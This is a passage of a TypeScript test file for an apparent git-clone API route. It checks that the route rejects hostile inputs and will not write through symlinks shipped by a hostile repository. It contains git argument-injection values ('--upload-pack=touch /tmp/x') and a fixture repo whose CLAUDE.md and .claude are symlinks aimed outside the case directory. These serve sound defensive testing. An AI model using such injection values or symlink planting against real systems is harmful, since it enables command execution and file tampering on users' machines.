const res = await clone({ name: 'opt', repository: '--upload-pack=touch /tmp/x' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/may not start with/);
});
it('refuses a URL with embedded credentials', async () => {
const res = await clone({ name: 'creds', repository: 'https://u:token@github.com/o/r.git' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/never accepts or stores/i);
});
it('refuses an unsafe ref', async () => {
const res = await clone({ name: 'ref', repository: 'https://github.com/o/r.git', ref: '--upload-pack=x' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/branch or tag/i);
});
it('rejects an invalid case name via the schema', async () => {
const res = await clone({ name: '../escape', repository: 'https://github.com/o/r.git' });
expect(res.statusCode).toBe(400);
});
it('rejects a name that collides with an existing case before cloning', async () => {
mkdirSync(join(CASES_DIR, 'taken'), { recursive: true });
try {
const res = await clone({ name: 'taken', repository: 'https://github.com/o/r.git' });
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS));
expect(JSON.parse(res.body).error).toMatch(/already exists/i);
} finally {
rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true });
}
});
});
describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => {
let root: string;
let origin: string;
let hostileOrigin: string;
let victimDir: string;
let victimFile: string;
const created: string[] = [];
const git = (args: string[], cwd: string) =>
execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
beforeAll(() => {
root = mkdtempSync(join(tmpdir(), 'codeman-clone-route-'));
origin = join(root, 'origin.git');
mkdirSync(origin);
git(['init', '--bare', '--quiet'], origin);
const work = join(root, 'work');
mkdirSync(work);
git(['init', '--quiet'], work);
git(['config', 'user.email', 'test@example.com'], work);
git(['config', 'user.name', 'Codeman Test'], work);
writeFileSync(join(work, 'README.md'), '# fixture\n');
// The repo ships BOTH files the scaffolder would otherwise write.
writeFileSync(join(work, 'CLAUDE.md'), '# repository-owned CLAUDE.md\n');
mkdirSync(join(work, '.claude'));
writeFileSync(join(work, '.claude', 'settings.json'), '{"permissions":{}}\n');
git(['add', '.'], work);
git(['commit', '--quiet', '-m', 'initial'], work);
git(['branch', '-M', 'main'], work);
git(['tag', 'v1'], work);
git(['remote', 'add', 'origin', origin], work);
git(['push', '--quiet', 'origin', 'main', '--tags'], work);
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
// A HOSTILE repository: it ships the scaffold paths as symlinks aimed
// outside the case, so a scaffolder that follows them writes onto this
// machine's own files. victimFile deliberately does NOT exist, because a
// BROKEN CLAUDE.md link is the case existsSync gets wrong (it follows the
// link, reports "absent", and the scaffold write would then CREATE the
// outside file).
victimDir = join(root, 'victim-claude');
mkdirSync(victimDir);
victimFile = join(root, 'victim-file.md');
hostileOrigin = join(root, 'hostile.git');
mkdirSync(hostileOrigin);
git(['init', '--bare', '--quiet'], hostileOrigin);
const hostileWork = join(root, 'hostile-work');
mkdirSync(hostileWork);
git(['init', '--quiet'], hostileWork);
git(['config', 'user.email', 'test@example.com'], hostileWork);
git(['config', 'user.name', 'Codeman Test'], hostileWork);
writeFileSync(join(hostileWork, 'README.md'), '# hostile fixture\n');
symlinkSync(victimFile, join(hostileWork, 'CLAUDE.md'));
symlinkSync(victimDir, join(hostileWork, '.claude'));
git(['add', '.'], hostileWork);
git(['commit', '--quiet', '-m', 'hostile'], hostileWork);
git(['branch', '-M', 'main'], hostileWork);
git(['remote', 'add', 'origin', hostileOrigin], hostileWork);
git(['push', '--quiet', 'origin', 'main'], hostileWork);
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], hostileOrigin);
});
afterAll(() => {
rmSync(root, { recursive: true, force: true });
for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true });
});
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('clones into the case directory and broadcasts case:created', async () => {
created.push('cloned-case');
const res = await clone({ name: 'cloned-case', repository: origin });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
expect(body.data.case).toEqual({ name: 'cloned-case', path: join(CASES_DIR, 'cloned-case') });
expect(existsSync(join(CASES_DIR, 'cloned-case', 'README.md'))).toBe(true);
expect(existsSync(join(CASES_DIR, 'cloned-case', '.git'))).toBe(true);
expect(ctx.broadcast).toHaveBeenCalledWith('case:created', {
name: 'cloned-case',
path: join(CASES_DIR, 'cloned-case'),
});
});
it("keeps the repository's own CLAUDE.md and warns about repo-supplied .claude settings", async () => {
created.push('keeps-files');
const res = await clone({ name: 'keeps-files', repository: origin });
const body = JSON.parse(res.body);
expect(readFileSync(join(CASES_DIR, 'keeps-files', 'CLAUDE.md'), 'utf-8')).toBe('# repository-owned CLAUDE.md\n');
expect(body.data.warnings.join(' ')).toMatch(/Kept the repository/);
// Repo-shipped hooks run on this machine: the response has to say so.
expect(body.data.warnings.join(' ')).toMatch(/ships its own \.claude/);
});
it('installs Codeman hooks alongside whatever the repo shipped', async () => {
created.push('hooked');
await clone({ name: 'hooked', repository: origin });
const settingsPath = join(CASES_DIR, 'hooked', '.claude', 'settings.local.json');
expect(existsSync(settingsPath)).toBe(true);
expect(JSON.parse(readFileSync(settingsPath, 'utf-8')).hooks).toBeTruthy();
// The repo's own settings.json is untouched.
expect(readFileSync(join(CASES_DIR, 'hooked', '.claude', 'settings.json'), 'utf-8')).toBe('{"permissions":{}}\n');
});
it('honors a ref and reports it back', async () => {
created.push('at-tag');
const res = await clone({ name: 'at-tag', repository: origin, ref: 'v1', shallow: true });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.data.ref).toBe('v1');
expect(existsSync(join(CASES_DIR, 'at-tag', 'README.md'))).toBe(true);
});
it('leaves no case directory behind when the clone fails', async () => {
const res = await clone({ name: 'ghost-case', repository: join(root, 'no-such-repo.git') });
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.NOT_FOUND));
expect(JSON.parse(res.body).error).toMatch(/not found/i);
// A leftover empty directory would occupy the name forever.
expect(existsSync(join(CASES_DIR, 'ghost-case'))).toBe(false);
});
it('reports a missing ref as invalid input, not a server error', async () => {
const res = await clone({ name: 'bad-ref-case', repository: origin, ref: 'no-such-branch' });
expect(res.statusCode).toBe(400);
expect(existsSync(join(CASES_DIR, 'bad-ref-case'))).toBe(false);
// git's FIRST stderr line is "Cloning into '<dest>'..." — quoting that as the
// reason told the user the destination path when the ref was the problem.
const error = JSON.parse(res.body).error as string;
expect(error).not.toMatch(/Cloning into/);
expect(error).toMatch(/branch or tag/i);
});
it('refuses to scaffold through repository-shipped symlinks (keeps the clone, warns)', async () => {
created.push('hostile');
const res = await clone({ name: 'hostile', repository: hostileOrigin });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
const casePath = join(CASES_DIR, 'hostile');
// The repo's symlinks are still symlinks: nothing wrote through them.
expect(lstatSync(join(casePath, 'CLAUDE.md')).isSymbolicLink()).toBe(true);
expect(lstatSync(join(casePath, '.claude')).isSymbolicLink()).toBe(true);
// The outside targets were neither created nor written.
expect(existsSync(victimFile)).toBe(false);
expect(existsSync(join(victimDir, 'settings.local.json'))).toBe(false);
// And the response says the hooks scaffold was skipped, and why.
expect(body.data.warnings.join(' ')).toMatch(/hooks were NOT installed/i);
expect(body.data.warnings.join(' ')).toMatch(/symlink/i);
});
it('preflights the local fixture for its branches and tags', async () => {
const res = await preflight(origin);
const body = JSON.parse(res.body);
expect(body.data.parse.transport).toBe('local');
expect(body.data.remote.reachable).toBe(true);
expect(body.data.remote.defaultBranch).toBe('main');
expect(body.data.remote.tags).toEqual(['v1']);
});
});